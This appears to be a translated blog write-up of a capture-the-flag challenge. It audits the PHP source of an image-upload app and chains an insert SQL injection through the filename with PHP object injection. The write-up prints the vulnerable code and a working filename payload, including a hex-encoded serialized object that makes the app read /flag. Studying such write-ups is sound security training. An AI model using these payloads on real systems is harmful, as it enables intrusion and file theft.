[An Xun Cup - Not File Upload] Code Audit + File Upload + Insert Injection

[An Xun Cup - Not File Upload] Code Audit + File Upload + Insert Injection

The home page is a file upload page

image-20230731124554241

The test can only upload pictures, which is a white list

The title gives the source code:

upload.php

<!DOCTYPE html>
<html>
<head>
    <title>Image Upload</title>
    <link rel="stylesheet" href="./style.css">
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
    <form name="upload" action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="Submit" value="submit">
    </form>
</div>

<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>

<?php
include("./helper.php");

class upload extends helper
{
    
    
    public function upload_base()
    {
    
    
        $this->upload();
    }
}

if ($_FILES) {
    
    
    if ($_FILES["file"]["error"]) {
    
    
        die("Upload file failed.");
    } else {
    
    
        $file = new upload();
        $file->upload_base();
    }
}

$a = new helper();
?>
</body>
</html>

show.php

<!DOCTYPE html>
<html>
<head>
	<title>Show Images</title>
	<link rel="stylesheet" href="./style.css">
	<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
    
    
	if($_GET["delete_all"] == "true"){
    
    
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
    
    
	public $con;

	public function __construct(){
    
    
		$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($this->con)){
    
    
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}

	public function Get_All_Images(){
    
    
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
    
    
		    while($row = $result->fetch_assoc()){
    
    
		    	if($row["attr"]){
    
    
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
    
    
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
    
    
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

</body>
</html>

helper.php

<?php
class helper {
    
    
	protected $folder = "pic/";
	protected $ifview = False;
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
    
    
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
    
    
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
    
    
		if(isset($input)){
    
    
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
    
    
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
    
    
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
    
    
		if(!$data || !is_array($data)){
    
    
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{
    
    
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con))
		{
    
    
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
    
    
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
    
    
		if ($this->ifview == False){
    
    
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
    
    
		# Read some config html
		$this->view_files($this->config);
	}
}

?>

The focus here is helper.php

In the upload() function, the relevant information will be saved in $arraythe array, and there is a place that has been serialized: , and then the array will be inserted into the mysql database $array["attr"] = serialize($my_ext);after relevant checks$array

Let's analyze it:

public function view_files($path){
    
    
		if ($this->ifview == False){
    
    
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

function __destruct(){
    
    
    # Read some config html
    $this->view_files($this->config);
}

If $this->config=/flag, and then $this->ifview=true, when the helper object will be serialized, it will read the content of the flag and output it. This is the point of use. But the default value cannot read the flag, how to read it?

We need to construct a serialized string of a specific value, and then pass it unserialize(), and when the object is destroyed, the flag will be output

Where is the deserialization function? In show.php Get_All_Images():

public function Get_All_Images(){
    
    
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
    
    
		    while($row = $result->fetch_assoc()){
    
    
		    	if($row["attr"]){
    
    
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
    
    
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

attrThis function will first replace the value of the attribute in the incoming array and then deserialize it. This attribute is helper.phpthe $array['attr']serialized value, so we need to construct it to replace the value with a maliciously constructed serialized string

But $array["attr"]the default value is the serialized value of the width and height array of the picture, and there is no way to control the input

$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);

How can I insert my own serialized string? We notice that insert_array()the function

public function insert_array($data)
	{
    
    
		...
		foreach($data as $key=>$value){
    
    
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		...
		return $id;
	}

In this function, the sql statement will be executed to insert the input into the string, but there is insert injection here

We look at check()the function:

public function check($info)
	{
    
    
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
    
    
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

Here is imported $titlefrom $filename, and has not undergone any filtering, so you can start from here and construct it into this format:

tit','fn','.png','path','O:{yy}'),('title.png
即:
insert into images (`title`,`filename`,`ext`,`path`,`attr`)  values('tit','fn','.png','path','O:{yy}'),('title.png')

How is this serialized string constructed?

<?php

class helper
{
    
    
    protected $folder = "pic/";
    protected $ifview = true;
    protected $config = "/flag";
}

$a = new helper();
echo serialize($a);

# O:6:"helper":3:{s:9:" * folder";s:4:"pic/";s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

image-20230731131038333

But it cannot be passed in directly here, because the variable is protecteda type that will be added after serialization%00

We notice that insert_array()it was replaced before:

$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);

So we replace it with:

O:6:"helper":3:{
    
    s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

The total filename is:

tit','fn','.png','path','O:6:"helper":3:{
    
    s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}'),('title.png

However, it was found to be invalid when passed to the past, because the double quotes in the file name "conflict, we can convert it to hexadecimal:

O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

Total filename:

tit','fn','.png','path',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('title.png

image-20230731131622797

Visit show.php, it will deserialize and output flag:

image-20230731131648600

mysql characteristics

Some students here will be a little confused, why we insert the hexadecimal form of the serialized string into the database:

0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

Why can deserialization succeed later?

This is because of the use of the characteristics of mysql

When a hexadecimal value is inserted into mysql, it will be automatically converted into a string

image-20230731132712044

As shown in the figure, it is successfully converted into a string, so when we insert the hexadecimal, it will be converted into a string and inserted into the database, so that it can be successfully deserialized when it is taken out.

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132020574